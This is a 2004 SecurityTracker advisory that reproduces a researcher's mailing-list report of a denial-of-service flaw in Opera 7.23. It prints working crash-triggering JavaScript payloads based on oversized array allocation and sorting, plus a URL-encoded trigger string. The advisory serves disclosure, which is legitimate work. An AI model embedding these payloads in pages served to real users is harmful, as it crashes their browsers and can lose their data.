Opera Array Processing Error Lets Remote Users Crash the Browser
|
|
SecurityTracker Alert ID: 1009442
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Mar 16 2004
|
Impact: Denial of service via network
|
Exploit Included: Yes
|
Version(s): 7.23
|
Description: d3thStaR reported a denial of service vulnerability in the Opera web browser in the processing of arrays. A remote user can cause a target user's browser to crash.
It is reported that a remote user can create specially crafted HTML that, when loaded by a target user, will cause the target user's
Opera browser to crash due to an array allocation management error.
Some demonstration exploit code is provided:
<script>var
a = new Array(99999999999999999999999); a[0+5]="AAAAA";</script>
<script>var bam = new Array(0x23000000); bam.sort(new
Function("return 1"));</script>
The vendor has reportedly been notified.
|
Impact: A remote user can create HTML that, when loaded by the target user, will cause the target user's browser to crash.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.opera.com/ (Links to External Site)
|
Cause: Exception handling error
|
Underlying OS: Linux (Any), Windows (Any)
|
Reported By: d3thStaR <d3thStaR@rootthief.com>
|
Message History:
None.
|
Source Message Contents
|
Date: 14 Mar 2004 03:07:34 -0000
From: d3thStaR <d3thStaR@rootthief.com>
Subject: Opera Array Allocation Managment Exploit
|
=====================================
Opera Array Allocation Managment Exploit
=====================================
Dicovered by- d3thStaR [!AM] <d3thStaR at rootthief.com>
Greets: !AM Crew, Atomix, d3thstar, mgrd, 0x29A Crew, rootthief.com.
Sources: Safari Overflow Exploit- kang
Confirmed products effected- Opera 7.23 Linux, Opera 7.23 Windows
=======Description of Problem=======
Someone could remotely seg-fault the Opera web-browser by creating an array allocation managment erro
r.
<script>var a = new Array(99999999999999999999999); a[0+5]="AAAAA";</s
cript>
<script>var bam = new Array(0x23000000); bam.sort(new Function("return 1"));&
lt;/script>
Results in crashed client. No, severe, damage; did loose a 'Note' on one test.
=======Precautions=======
Be aware of cross-site scripting attacks.
Known URL triggers: %40%3cscript%3evar%20bam%20%3d%20new%20Array%280x2
3000000%29%3b%20bam%2esort%28new%20Function%28%22r
eturn%201%22%29%29%3b%3c%2fscript%3e
Vendor- Opera.com
Notified- 3/12/04_1:04am/Central
d3thStaR
<d3thStaR at rootthief.com>
|
|
